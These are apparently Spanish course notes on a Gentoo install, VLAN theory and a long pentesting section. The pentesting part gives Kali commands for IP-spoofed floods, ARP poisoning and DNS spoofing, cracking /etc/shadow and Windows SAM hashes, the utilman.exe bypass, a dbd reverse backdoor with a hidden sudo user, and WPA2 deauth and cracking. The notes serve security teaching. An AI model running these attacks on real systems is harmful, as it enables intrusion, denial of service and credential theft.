tar xf stage3-amd64-systemd-20220807T170536Z.tar.xz --xattrs-include='*.*' --numeric-owner

Editamos el fichero **make.conf** del punto de instalación e introducimos los valores de nuestro hardware para la instalación procesador,sonido,video, etc…

nano -w /mnt/gentoo/*etc/*portage/make.conf

- Minimo:

CFLAGS=”-march=native -02 -pipe”
MAKEOPTS=”-jnumero de nucleos + 1”

Copiamos y editamos el fichero resolv.conf para establecer nuestros valores de DNS:

cp -L /etc/resolv.conf /mnt/gentoo/etc/resolv.conf
nano /mnt/gentoo/etc/resolv.conf

Por ejemplo añadimos:

nameserver 8.8.8.8

nameserver 8.8.4.4

Y todos los que deseemos.

Montamos los directorios del sistema de arranque a nuestros propios directorios:

mount -t proc none /mnt/gentoo/proc

mount --rbind /sys /mnt/gentoo/sys

mount --rbind /dev /mnt/gentoo/dev

mount --rbind /run /mnt/gentoo/run

Creamos el directorio portage en nuestra instalación:

mkdir /mnt/gentoo/usr/portage

Nos enjaulamos en nuestro punto de montaje y seleccionamos nuestro perfil:

chroot /mnt/gentoo /bin/bash

source /etc/profile

export PS1="(chroot) $PS1"

Actualizamos nuestro portage:

emerge-webrsync

emerge --sync –quiet

Listamos, elegimos y actualizamos nuestro perfil de instalación:

eselect profile list

eselect profile set (numero de perfil)

emerge --ask --update --deep --newuse @world

Establecemos la zona horaria y las locales:

echo Europe/Madrid > /etc/timezone
nano -w /etc/locale.gen

- Introducimos/modificamos el código de España:

es_ES.UTF-8 UTF-8

Generamos seleccionamos y actualizamos las locales:

locale-gen

eselect locale list

eselect locale set (numero de la variable local)

Descargamos las imagenes del kernel:

emerge gentoo-sources

emerge genkernel

genkernel all

Editamos el fstab de nuestro montaje y añadimos la/s particiones del sistema operativo **boot**, **/** y **home.**

Nos aseguramos de tener la tarjeta de red en DHCP:

nano -w /etc/conf.d/net

- Si no está lo añadimos:

config_eth0=dhcp

Establecemos la contraseña de root de lo contrario no podremos arrancar:

passwd root

Añadimos y activamos grub en el fichero **make.conf**:

GRUB_PLATFORMS=”efi-64”

emerge os-prober sys-boot/grub:2
grub-install /dev/disco

grub-mkconfig -o /boot/grub/grub.cfg

Nos desenjaulamos, desmontamos las particiones y reiniciamos.

VLAN

Descripción:

Los grupos de trabajo en una red, hasta ahora, han sido creados por la asociación física de los usuarios en un mismo segmento de la red, o en un mismo concentrador o hub.
Como consecuencia directa, estos grupos de trabajo comparten el ancho de banda disponible y los dominios de "broadcast", y con la dificultad de gestión cuando se producen cambios en los miembros del grupo. Más aún, la limitación geográfica que supone que los miembros de un determinado grupo deben de estar situados adyacentemente, por su conexión al mismo concentrador o segmento de la red.
Los esquemas VLAN (Virtual LAN o red virtual), proporcionan los medios adecuados para solucionar esta problemática, por medio de la agrupación realizada de una forma lógica en lugar de física.
Sin embargo, las redes virtuales siguen compartiendo las características de los grupos de trabajo físicos, en el sentido de que todos los usuarios tienen conectividad entre ellos y comparten sus dominios de "broadcast".
La principal diferencia con la agrupación física, como se ha mencionado, es que los usuarios de las redes virtuales pueden ser distribuidos a través de una red LAN, incluso situándose en diferentes concentradores de la misma.
Los usuarios pueden, así, "moverse" a través de la red, manteniendo su pertenencia al grupo de trabajo lógico.
Por otro lado, al distribuir a los usuarios de un mismo grupo lógico a través de diferentes segmentos, se logra, como consecuencia directa, el incremento del ancho de banda en dicho grupo de usuarios.
Además, al poder distribuir a los usuarios en diferentes segmentos de la red, se pueden situar bridges y routers entre ellos, separando segmentos con diferentes topologías y protocolos.
Todo ello manteniendo la seguridad deseada en cada configuración por el administrador de la red: Se puede permitir o no que el tráfico de una VLAN entre y salga desde/hacia otras redes.
Pero aún se puede llegar más lejos. Las redes virtuales nos permiten que la ubicuidad geográfica no se limite a diferentes concentradores o plantas de un mismo edificio, sino a diferentes oficinas intercomunicadas mediante redes WAN, a lo largo de países y continentes, sin limitación ninguna más que la impuesta por el administrador de dichas redes.

Tecnología:

Existen tres aproximaciones diferentes que pueden ser empleadas como soluciones válidas para proporcionar redes virtuales: conmutación de puertos, conmutación de segmentos con funciones de bridging, y conmutación de segmentos con funciones de bridging/routing.

Todas las soluciones están basadas en arquitecturas de red que emplean concentradores/conmutadores.

Aunque las tres son soluciones válidas, sólo la última, con funciones de bridge/router, ofrece todos las ventajas a las VLAN.

- Conmutadores de puertos.

  Los conmutadores de puertos son concentradores con varios segmentos, cada uno de los cuales proporciona el máximo ancho de banda disponible, según el tipo de red, compartido entre todos los puertos existentes en dicho segmento. Se diferencian de los conmutadores tradicionales en que sus puertos pueden ser dinámicamente asociados a cualquiera de los segmentos, mediante comandos software. Cada segmento se asocia a un "backplane", el cual a su vez, equivale a un grupo de trabajo. De este modo, las estaciones conectadas a estos puertos pueden ser asignadas y reasignadas a diferentes grupos de trabajo o redes virtuales.

  Podemos definir a los conmutadores de puertos como "software patch panels", y su ventaja fundamental es la facilidad para la reconfiguración de los grupos de trabajo; sin embargo, tienen graves limitaciones.

  Dado que están diseñados como dispositivos compartiendo un backplane físico, las reconfiguraciones de grupo de trabajo están limitadas al entorno de un único concentrador, y por tanto, todos los miembros del grupo deben de estar físicamente próximos.

  Las redes virtuales con conmutadores de puertos, carecen de conectividad con el resto de la red. Al segmentar sus propios backplanes, no proporcionan conectividad integrada entre sus propios backplanes, y por tanto están "separados" de la comunicación con el resto de la red.

Para ello requieren un bridge/router externo. Ello implica mayores costes, además de la necesidad de reconfigurar el bridge/router cuando se producen cambios en la red.
Por último, los conmutadores de puertos no alivian el problema de saturación del ancho de banda de la red. Todos los nodos deben de conectarse al mismo segmento o backplane, y por tanto compartirán el ancho de banda disponible en el mismo, independientemente de su número.

- Conmutadores de segmentos con bridging.
A diferencia de los conmutadores de puertos, suministran el ancho de banda de múltiples segmentos de red, manteniendo la conectividad entre dichos segmentos. Para ello, se emplean los algoritmos tradicionales de los puentes (bridges), o subconjuntos de los mismos, para proporcionar conectividad entre varios segmentos a la "velocidad del cable" o velocidad máxima que permite la topología y protocolos de dicha red.
Mediante estos dispositivos, las VLAN no son grupos de trabajo conectados a un solo segmento o backplane, sino grupos lógicos de nodos que pueden ser conectados a cualquier número de segmentos de red físicos. Estas VLAN son dominios de broadcast lógicos: conjuntos de segmentos de red que reciben todos los paquetes enviados por cualquier nodo en la VLAN como si todos los nodos estuvieran conectados físicamente al mismo segmento.
Al igual que los conmutadores de puertos, mediante comandos software se puede reconfigurar y modificar la estructura de la VLAN, con la ventaja añadida del ancho de banda repartido entre varios segmentos físicos. De esta forma, según va creciendo un grupo de trabajo, y para evitar su saturación, los usuarios del mismo pueden situarse en diferentes segmentos físicos, aún manteniendo el concepto de grupo de trabajo independiente del resto de la red, con lo que se logra ampliar el ancho de banda en función del número de segmentos usados.
Aún así, comparten el mismo problema con los conmutadores de puertos en cuanto a su comunicación fuera del grupo. Al estar aislados, para su comunicación con el resto de la red precisan de routers, con las consecuencias de las que ya hemos hablado en el

caso anterior respecto del coste y la reconfiguración de la red.

- Conmutadores de segmentos con bridging/routing.

  Son dispositivos que comparten todas las ventajas de los conmutadores de segmentos con funciones de bridging, pero además, con funciones añadidas de routing (encaminamiento), lo que les proporciona fácil reconfiguración de la red, así como la posibilidad de crear grupos de trabajo que se expanden a través de diferentes segmentos de red.

  Además, sus funciones de routing facilitan la conectividad entre las redes virtuales y el resto de los segmentos o redes, tanto locales como remotas.

  Mediante las redes virtuales, podemos crear un nuevo grupo de trabajo, con tan solo una reconfiguración del software del router. Ello evita el recableado de la red o el cambio en direcciones de subredes, permitiéndonos así asignar el ancho de banda requerido por el nuevo grupo de trabajo sin afectar a las aplicaciones de red existentes.

En las VLAN con funciones de routing, la comunicación con el resto de la red se puede realizar de dos modos diferentes: permitiendo que algunos segmentos sean miembros de varios grupos de trabajo, o mediante las funciones de routing multiprotocolo integradas, que facilitan el tráfico incluso entre varias VLAN's.

Prestaciones de las VLAN:

Los dispositivos con funciones VLAN ofrecen unas prestaciones de "valor añadido", suplementarias a las funciones específicas de las redes virtuales, aunque algunas de ellas son casi tan fundamentales como los principios mismos de las VLAN.

Al igual que en el caso de los grupos de trabajo "físicos", las VLAN permiten a un grupo de trabajo lógico compartir un dominio de broadcast. Ello significa que los sistemas dentro de una determinada VLAN reciben mensajes de broadcast desde el resto, independientemente de que residan o no en la misma red física. Por ello, las aplicaciones que requieren tráfico broadcast siguen funcionando en este tipo de redes virtuales. Al mismo tiempo, estos broadcast no son recibidos por otras estaciones situadas en otras VLAN.

Las VLAN no se limitan solo a un conmutador, sino que pueden extenderse a través de varios, estén o no físicamente en la misma localización geográfica.

Además las redes virtuales pueden solaparse, permitiendo que varias de ellas compartan determinados recursos, como backbones (troncales) de altas prestaciones o conexiones a servidores.
Uno de los mayores problemas a los que se enfrentan los administradores de las redes actuales, es la administración de las redes y subredes. Las VLAN tienen la habilidad de usar el mismo número de red en varios segmentos, lo que supone un práctico mecanismo para incrementar rápidamente el ancho de banda de nuevos segmentos de la red sin preocuparse de colisiones de direcciones.
Las soluciones tradicionales de internetworking, empleando concentradores y routers, requieren que cada segmento sea una única subred; por el contrario, en un dispositivo con facilidades VLAN, una subred puede expandirse a través de múltiples segmentos físicos, y un solo segmento físico puede soportar varias subredes.
Asimismo, hay que tener en cuenta que los modelos más avanzados de conmutadores con funciones VLAN, soportan filtros muy sofisticados, definidos por el usuario o administrador de la red, que nos permiten determinar con gran precisión las características del tráfico y de la seguridad que deseamos en cada dominio, segmento, red o conjunto de redes. Todo ello se realiza en función de algoritmos de bridging, y routing multiprotocolo.

Pentesting

Operaciones Kali

- Sniffing a ip usando **ip.src==**[ip a sniffar] en Wireshark.

- IP Spoofing (suplantación de IP con otra IP que no es la mía usando - a y la ip alias).

hping3 -a [ip alias] [ip atacada] (para ip concreta).

hping3 -a [ip alias] [ip atacada] -p [puerto] (peticiones a un determinado puerto).

hping3 --rand-source [ip atacada] (para ip aleatoria).

hping3 --faster --rand-source [ip atacada] **-p** [puerto] (para que los paquetes vayan lo más rápido posible).

hping3 --rand-source -d 1024 [ip atacada] **-p** [puerto] (para variar el tamaño de los paquetes ICMP).

hping3 --faster --rand-source -d 4096 [ip atacada] **-p** [puerto] (ping de la muerte).

hping3 --flood --rand-source [ip atacada] (ataque de desbordamiento DDoS).

- Nmap (todas estas opciones están en el man de nmap):

  - **nmap -iL** [fichero de salida] (escanea todas las ip que tenga escritos el fichero.

    Para crear un fichero de salida escribiremos:

    echo [red escaneada]**.{1..254}\\n >>** [fichero de salida]).

  - **nmap -Pn** [ip a escanear] (sirve para realizar el escaneo sin usar ping).

  - **nmap -A** [ip a escanear] (identifica el sistema operativo del sistema escaneado).

  - **nmap -O** [ip a escanear] (activa la opción de detección de sistemas operativos).

  - **nmap -sV** [ip a escanear] (intenta identificar las versiones de los servidores que usan los puertos).

- Usar la tabla ARP para descubrir la dirección física de los equipos conectados a una red usando el comando **arp -a**.

- DNS spoofing redireccionando una url conocida a un servidor propio.

  - Editamos el archivo **/etc/ettercap/etter.conf** y ponemos **ec_uid** y **ec_gid** a cero.

  - Editamos el archivo **/etc/ettercap/etter.dns** y elegiríamos el origen web y la ip destino

  Por ejemplo:

  ***marca.com A 185.168.122.14**

  marca.com A 185.168.122.14

  - En el entorno gráfico usaremos ettercap para localizar la máquina a atacar.

- Seleccionaremos la ip de la máquina a atacar y la añadiremos cómo objetivo.

- Usaremos el plugin de dns_spoofing.

- Usaremos el arp_poisoning.

- Man in the Middle

-Escenario:

- Necesitamos 3 máquinas en red interna:

- Una máquina objetivo.

- Una máquina que tenga conexión con el objetivo.

- Una máquina atacante (Kali) con conexión a internet y a la red interna.

- Comenzamos por hacer ping a la dirección de broadcast desde la máquina atacante para que reconozca la tabla ARP de la red interna.

- Comprobaremos la tabla ARP con arp -a.

- Envenenaremos la tabla ARP usando ettercap sobre la interfaz de red interna y el plugin de arp_poisoning.

- Una vez envenenada la tabla ARP de la red quedamos automáticamente cómo puerta de enlace de la red.

- Comprobamos que la MAC de la puerta de enlace sea la misma que la del atacante Kali.

Ataques de ingeniería social

- Usaremos la aplicación Social Engineer Toolkit (set).

- Seleccionaremos el ataque que nos interese del menú y seguiremos las instrucciones.

Ataques a contraseñas

- Ataques por fuerza bruta:

Son lentos, pero más efectivos porque buscan carácter por carácter.

- Para crackear contraseñas en el propio sistema:

- Conseguimos el hash de las contraseñas en los archivos **/etc/passwd** y **/etc/shadow**, copiaremos ambos a un fichero nuevo.

Usaremos el comando:

unshadow /etc/passwd /etc/shadow >> [nombrefichero] (en este orden).

Sacaremos las contraseñas usando John The Ripper.

Podremos comprobar cuantas contraseñas hay usando **john** [nombrefichero].

Usaremos el comando **john --show** [nombrefichero] para ver las contraseñas en sí.

Podemos comprobar el rendimiento de John The Ripper con diferentes algoritmos usando **john --test**

- Ataques de diccionario:

Son rápidos, pero menos efectivos porque buscan cadenas o palabras concretas.

- Podemos crear un diccionario propio usando una hoja de cálculo o descargarlo de internet.

Son ficheros de texto, hay muchas páginas y también de la misma página www.openwall.com (web oficial de John).

- Usaremos el comando:

unshadow /etc/passwd /etc/shadow > [nombrefichero] (en este orden).

- Para sacar la contraseña usaremos el comando:

  john --wordlist=[diccionario].

- Se pueden crear diccionarios con **crunch** (leer man crunch).

Ataque de contraseñas a Windows 10:

Usaremos una live de Linux.

- Extraeremos y copiaremos el fichero SAM ubicado en:

  c:\\Windows\System32\Config\SAM

- Extraeremos y copiaremos el fichero SECURITY ubicado en:

  c:\\Windows\System32\Config\SECURITY

- Extraeremos y copiaremos el fichero SYSTEM ubicado en:

  c:\\Windows\System32\Config\SYSTEM

- Instalamos en la live el programa OPHCrack y lo usamos para crackear los archivos que hemos extraído.

Otro agujero de seguridad de Windows:

- Se puede acceder sin contraseña:

- Modo de recuperación:

- Arrancamos normalmente el sistema.

- Forzamos el apagado para que vuelva a arrancar en modo recuperación.

- Aparecerá el mensaje "Preparando reparación automática".

- En opciones avanzadas seleccionaremos Solucionar Problemas.

- Seleccionamos de nuevo opciones avanzadas y Símbolo del Sistema.

- Haremos un DIR en la consola de system32.

- Copiaremos **utilman.exe** cómo **utilman.back** y **cmd.exe** cómo **utilman.exe** para que en las opciones abra directamente el cmd.

- También desde la consola de administración podemos cambiar contraseñas, crear usuarios, etc. sin necesidad de contraseña de administrador.

- Si no podemos forzar un arranque en modo de recuperación podemos usar un dispositivo de instalación de Windows:

- Usamos un disco de instalación y seleccionaremos la opción de Reparación de Windows.

- Seguiríamos los mismos pasos que en el modo de recuperación explicado anteriormente.

Este sistema solamente funciona con credenciales de cuentas locales.

Análisis de aplicaciones web.

- Abriremos el scaneo de **CMS WPScan**.

  - Introducimos el comando **wpscan --hh** para ver todas las opciones.

  - Una vez seleccionadas las opciones la sintaxis queda así:

    wpscan -[opción] [url de la web atacada]

  - Esto nos imprimirá las vulnerabilidades del CMS.

SQL INJECTION (ataque a bases de datos)

- Se utilizan consultas en SQL para descubrir valores y tablas de una base de datos.

- La aplicación sqlmap en Kali realiza la inyección SQL de forma automática.

Recuperar datos de un disco (carving)

- Se puede realizar carving con las herramientas de carving forense de Kali o cualquiera de los gratuitos de internet.

- Se busca el disco con **magicrescue** escribiendo el tipo de fichero que se quiere rescatar, es decir, jpeg, txt, etcétera indicando donde se desea que ponga esa información (Escritorio, una carpeta creada a tal fin, etc.) y el dispositivo del que se desea recuperar los datos.

  - Por ejemplo:

    magicrescue -r [tipo de fichero] **-d** [lugar donde queremos que envíe lo recuperado] [dispositivo a recuperar]

Si el borrado o el formato es a bajo nivel no va a poder recuperar los datos.
Revisar el man de **magicrescue** para saber los tipos de ficheros soportados por la aplicación

Recuperación forense de los datos de un disco

- Comprobamos que estén todos los discos.

- Usamos la herramienta forense GUYMAGER de Kali.

- Una vez clonado el disco haremos carving sobre el clon.

Recuerda que el clonado debe ir a un disco del mismo tamaño o mayor que el dispositivo a clonar

- Podemos mirar los metadatos instalando hexedit en Kali (**apt-get install hexedit**).

Puertas traseras para sistemas operativos

- Tras un acceso autorizado a un sistema podemos crear una puerta trasera con:

  DBD, POWERSPLOIT o SBD en las herramientas de Post Exploitation de Kali.

  - DBD (ver el man de dbd para las opciones) es una conexión cifrada.

    - 1º Conseguir conexión con la máquina atacada.

    - 2º Conseguir privilegios de administrador.

    - 3º Instalar el paquete dbd en el sistema atacado.

    - 4º Instalaremos la puerta trasera con el comando:

      dbd -r [segundos de reconexión] **-D on** [para que instale en segundo plano] **-v** [para ver el proceso] **-e** [programa que queremos instalar] [ip a atacar] **-p** [puerto por el que queremos que escuche]

- En el atacante conectaremos con el atacado con el comando:

dbd -l [lista las conexiones dbd] **-p** [puerto por el que escuchamos] **-v** [para ver el proceso]

El atacado piensa que es el que se conecta.

- A partir de aquí ya podremos hacer una escalada de privilegios:
Crear un usuario, meterlo en el fichero de sudoers y camuflarlo en el fichero **/etc/passwd**

Detectar un punto de acceso wifi

- Necesitaremos una live de Kali.

- Buscamos la wifi que nos interesa con el comando

airmon-ng start [tarjeta de red]

- Forzaremos la desautentificación de los clientes de esa wifi con el comando

aireplay-ng [tarjeta de red] **-0** [numero de paquetes de desautentificación] **-a** [id de la red]

Cuando reconecten los clientes podremos ver los archivos con la información de autentificación.

- Seleccionamos la wifi que nos interesa con el comando

airodump-ng [tarjeta de red] **-c** [canal] **--bssid** [id de la red] **-w** [path donde queramos que guarde la información]

- Usaremos el programa Aircrack (man) para crackear las contraseñas

aircrack-ng [tipo de protección (-a2 para wpa2)] **-b** [id de la red (mac)] **-w** [archivo de datos del programa (path donde queramos que guarde la información)]

- Comprobaremos los datos obtenidos con el comando

airdecap-ng -b [id de la red (mac)] [archivo de datos del programa (path donde queramos que guarde la información)]

- Sacará una tabla similar a la siguiente:

Total number of stations seen 16
Total number of packets read 61964
Total number of WEP data packets 0
Total number of WPA data packets 883
Number of plaintext data packets 0
Number of decrypted WEP packets 0
Number of corrupted WEP packets 0
Number of decrypted WPA packets 0
Number of bad TKIP (WPA) packets 0
Number of bad CCMP (WPA) packets 0

Se puede usar una distribución que automatiza el proceso cómo BEINI

Instalación de honeypots

- Descargamos un programa para la creación de honeypots (KFSensor, por ejemplo).

- Si el programa no dispone de IDS (Intrusion Detection System) habrá que descargar uno (Aeek, Snort, etc.).

- Al abrir el programa de creación de honeypots veremos que se abren muchos puertos,
hay que personalizar el programa para que sea razonable y equilibrado el escaneo de puertos.

- Para esta acción editaremos el escenario de trabajo.

- La edición ha de ser coherente con el escenario, es decir,
si queremos simular un pc domestico con Windows no pondremos servicios de Windows Server ni de Linux.

Esteganografía

- Descargamos el programa hexedit para analizar la imagen sospechosa.

- Con un buscador de imágenes por aproximación online buscaremos la imagen original y la descargaremos.

- Realizaremos un estudio de comparación de ambas imágenes.

- Si queremos introducir un código en una imagen descargaremos un software (Image Steganography, por ejemplo).

- Descargaremos una imagen al azar y la introduciremos en el programa.

- Introduciremos el código o texto que queramos.

- Generaremos una nueva imagen con el código o el texto embebido.

Profesor del curso …..…… Javier García

Apuntes, maquetación y realización de este documento …… Jorge Liñán